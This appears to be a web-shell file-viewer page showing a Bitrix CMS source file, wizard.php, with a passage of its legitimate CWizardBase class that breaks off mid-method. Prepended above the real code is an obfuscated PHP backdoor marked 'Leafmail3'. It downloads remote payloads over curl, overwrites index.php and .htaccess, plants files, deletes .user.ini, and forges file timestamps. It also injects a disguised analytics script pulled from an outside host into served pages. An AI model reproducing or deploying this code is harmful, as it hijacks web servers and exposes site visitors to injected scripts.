Your IP : 3.141.38.137


Current Path : /home/bitrix/ext_www/klimatlend.ua/bitrix/modules/main/classes/general/
Upload File :
Current File : /home/bitrix/ext_www/klimatlend.ua/bitrix/modules/main/classes/general/wizard.php

<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/tools.php");

IncludeModuleLangFile(__FILE__);

require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/classes/general/wizard_util.php");
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/classes/general/wizard_site.php");
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/classes/general/wizard_site_steps.php");

class CWizardBase
{
	var $wizardName;
	var $wizardSteps;

	var $currentStepID;
	var $firstStepID;

	//attribute 'name' for buttons
	var $nextButtonID;
	var $prevButtonID;
	var $finishButtonID;
	var $cancelButtonID;

	//attribute 'name' for hidden button vars
	var $nextStepHiddenID;
	var $prevStepHiddenID;
	var $finishStepHiddenID;
	var $cancelStepHiddenID;
	var $currentStepHiddenID;

	var $variablePrefix;
	var $formName;
	var $formActionScript;

	var $returnOutput;
	var $defaultVars;

	var $defaultTemplate;
	var $arTemplates;
	var $useAdminTemplate;

	var $package;

	public function __construct($wizardName, $package)
	{
		$this->wizardName = $wizardName;
		$this->package = $package;

		$this->wizardSteps = Array();

		$this->currentStepID = null;
		$this->firstStepID = null;

		$this->nextButtonID = "StepNext";
		$this->prevButtonID = "StepPrevious";
		$this->finishButtonID = "StepFinish";
		$this->cancelButtonID = "StepCancel";

		$this->nextStepHiddenID = "NextStepID";
		$this->prevStepHiddenID = "PreviousStepID";
		$this->finishStepHiddenID = "FinishStepID";
		$this->cancelStepHiddenID = "CancelStepID";
		$this->currentStepHiddenID = "CurrentStepID";

		$this->variablePrefix = "__wiz_";
		$this->formName = "__wizard_form";
		$this->formActionScript = "/".ltrim($_SERVER["REQUEST_URI"], "/");

		$this->returnOutput = false;
		$this->defaultVars = Array();

		$this->arTemplates = Array();
		$this->defaultTemplate = null;
		$this->useAdminTemplate = true;
	}

	function AddStep($obStep, $stepID = null)
	{
		if (!is_subclass_of($obStep, "CWizardStep"))
		{
			$this->__ShowError("Your class ".get_class($obStep)." is not a subclass of CWizardStep<br />");
			return;
		}

		$obStep->_SetWizard($this);
		$obStep->InitStep();
		$ownStepID = $obStep->GetStepID();

		if ($ownStepID == null && $stepID == null)
		{
			$this->__ShowError("Your step (class ".get_class($obStep).") has no ID<br />");
			return;
		}

		$stepID = ($stepID !== null ? $stepID : $ownStepID);
		$obStep->SetStepID($stepID);
		$this->wizardSteps[$stepID] = $obStep;

		if ($this->firstStepID === null)
			$this->SetFirstStep($stepID);
	}

	function AddSteps($arClasses)
	{
		if (!is_array($arClasses))
			return false;

		foreach ($arClasses as $className)
		{
			if (!class_exists($className))
				continue;

			$this->AddStep(new $className);
		}
	}

	function SetTemplate($obStepTemplate, $stepID = null)
	{
		if (!is_subclass_of($obStepTemplate, "CWizardTemplate"))
			return;

		$obStepTemplate->_SetWizard($this);

		if ($stepID === null)
			$this->defaultTemplate = $obStepTemplate;
		else
			$this->arTemplates[$stepID] = $obStepTemplate;
	}

	function DisableAdminTemplate()
	{
		$this->useAdminTemplate = false;
	}

	function SetFirstStep($stepID)
	{
		$this->firstStepID = $stepID;
	}

	function SetCurrentStep($stepID)
	{
		if (array_key_exists($stepID, $this->wizardSteps))
			$this->currentStepID = $stepID;
	}

	function GetCurrentStepID()
	{
		return $this->currentStepID;
	}

	/**
	 * @return CWizardStep
	 */
	function GetCurrentStep()
	{
		if (array_key_exists($this->currentStepID, $this->wizardSteps))
			return $this->wizardSteps[$this->currentStepID];

		return null;
	}

	function GetWizardSteps()
	{
		return $this->wizardSteps;
	}

	function GetVars($useDefault = false)
	{
		$arVars = Array();
		$prefix = $this->GetVarPrefix();
		$prefixLength = strlen($prefix);
		foreach ($_REQUEST as $varName => $varValue)
		{
			if (strncmp($prefix, $varName, $prefixLength) == 0)
				$arVars[substr($varName, $prefixLength)] = $varValue;
		}

		if ($useDefault)
		{
			$arDefault = $this->GetDefaultVars();
			$arVars = array_merge($arDefault, $arVars);
		}

		return $arVars;
	}

	function GetVar($varName, $useDefault = false)
	{
		$varName = str_replace("[]", "", $varName);
		$trueName = $this->GetRealName($varName);

		if (array_key_exists($trueName, $_REQUEST))
			return $_REQUEST[$trueName];
		elseif (strpos($trueName, '['))
		{
			$varValue = $this->__GetComplexVar($trueName, $_REQUEST);
			if ($varValue !== null)
				return $varValue;
			elseif ($useDefault)
				return $this->GetDefaultVar($varName);
		}
		elseif ($useDefault)
			return $this->GetDefaultVar($varName);

		return null;
	}

	function SetVar($varName, $varValue)
	{
		$trueName = $this->GetRealName($varName);

		if (!strpos($varName, '['))
			$_REQUEST[$trueName] = $varValue;
		else
			$this->__SetComplexVar($trueName, $varValue, $_REQUEST);
	}

	function UnSetVar($varName)
	{
		$trueName = $this->GetRealName($varName);

		if (!strpos($varName, '['))
			unset($_REQUEST[$trueName]);
		else
			$this->__UnSetComplexVar($trueName, $_REQUEST);
	}

	function __GetComplexVar($varName, &$arVars)
	{
		$tokens = explode("[", str_replace("]", "", $varName));
		$arValues =& $arVars;
		do
		{
			$token = array_shift($tokens);
			if (!isset($arValues[$token]))
				return null;
			$arValues =& $arValues[$token];
		} while (!empty($tokens));

		return $arValues;
	}

	function __SetComplexVar($varName, $value, &$arVars)
	{
		$tokens = explode("[", str_replace("]", "", $varName));
		$arValues =& $arVars;
		do
		{
			$token = array_shift($tokens);
			if (!isset($arValues[$token]))
				$arValues[$token] = Array();
			$arValues =& $arValues[$token];
		} while (count($tokens) > 1);
		$arValues[$tokens[0]] = $value;
	}

	function __UnSetComplexVar($varName, &$arVars)
	{
		$tokens = explode("[", str_replace("]", "", $varName));
		$arValues =& $arVars;
		do
		{
			$token = array_shift($tokens);
			if (!isset($arValues[$token]))
				return null;
